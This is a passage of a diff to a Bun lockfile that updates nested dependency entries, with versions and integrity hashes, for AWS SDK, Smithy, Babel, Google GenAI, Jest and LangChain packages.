"sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="], - "@aws-sdk/nested-clients/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="], + "@aws-sdk/util-format-url/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], - "@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="], - - "@aws-sdk/nested-clients/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], - - "@aws-sdk/nested-clients/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="], - - "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="], - - "@aws-sdk/nested-clients/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="], - - "@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - - "@aws-sdk/nested-clients/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], - - "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="], - - "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], - - "@aws-sdk/nested-clients/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="], - - "@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], - - "@azure/core-xml/fast-xml-parser/strnum": ["strnum@2.0.5", "", {}, "sha512-YAT3K/sgpCUxhxNMrrdhtod3jckkpYwH6JAuwmUdXZsmzH1wUyzTMrrK2wYCEEqlKwrWDd35NeuUkbBy/1iK+Q=="], + "@babel/helper-compilation-targets/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], "@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], "@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="], + "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], + + "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], + + "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], + + "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], + "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="], "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="], @@ -6695,13 +6851,17 @@ "@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="], - "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="], + "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="], + "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="], + "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="], + "@google/genai/google-auth-library/gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="], + + "@google/genai/google-auth-library/gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="], + + "@google/genai/google-auth-library/gtoken": ["gtoken@8.0.0", "", { "dependencies": { "gaxios": "^7.0.0", "jws": "^4.0.0" } }, "sha512-+CqsMbHPiSTdtSO14O51eMNlrp9N79gmeqmXeouJOhfucAedHw9noVe/n5uJk3tbKE6a+6ZCQg3RPhVhHByAIw=="], "@headlessui/react/@tanstack/react-virtual/@tanstack/virtual-core": ["@tanstack/virtual-core@3.13.12", "", {}, "sha512-1YBOJfRHV4sXUmWsFSf5rQor4Ss82G8dQWLRbnk3GA4jeP8hQt1hxXh0tmflpC0dz3VgEv/1+qwPyLeWkQuPFA=="], @@ -6711,34 +6871,16 @@ "@istanbuljs/load-nyc-config/find-up/locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="], - "@istanbuljs/load-nyc-config/js-yaml/argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="], - "@jest/core/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], - "@jest/environment-jsdom-abstract/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="], - - "@jest/environment/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="], - - "@jest/environment/@jest/fake-timers/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - - "@jest/environment/jest-mock/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "@jest/expect/expect/@jest/expect-utils": ["@jest/expect-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0" } }, "sha512-1JnRfhqpD8HGpOmQp180Fo9Zt69zNtC+9lR+kT7NVL05tNXIi+QC8Csz7lfidMoVLPD3FnOtcmp0CEFnxExGEA=="], "@jest/expect/expect/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="], - "@jest/expect/expect/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="], - - "@jest/expect/expect/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - - "@jest/fake-timers/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="], - - "@jest/fake-timers/jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], - - "@jest/globals/jest-mock/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "@jest/reporters/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], + "@jest/reporters/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], + "@jest/reporters/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core": ["@aws-sdk/core@3.927.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@aws-sdk/xml-builder": "3.921.0", "@smithy/core": "^3.17.2", "@smithy/node-config-provider": "^4.3.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/signature-v4": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag=="], @@ -6773,6 +6915,12 @@ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/core": ["@smithy/core@3.17.2", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-stream": "^4.5.5", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-n3g4Nl1Te+qGPDbNFAYf+smkRVB+JhFsGy9uJXXZQEufoP4u0r+WLh6KvTDolCswaagysDc/afS1yvb2jnj1gQ=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="], 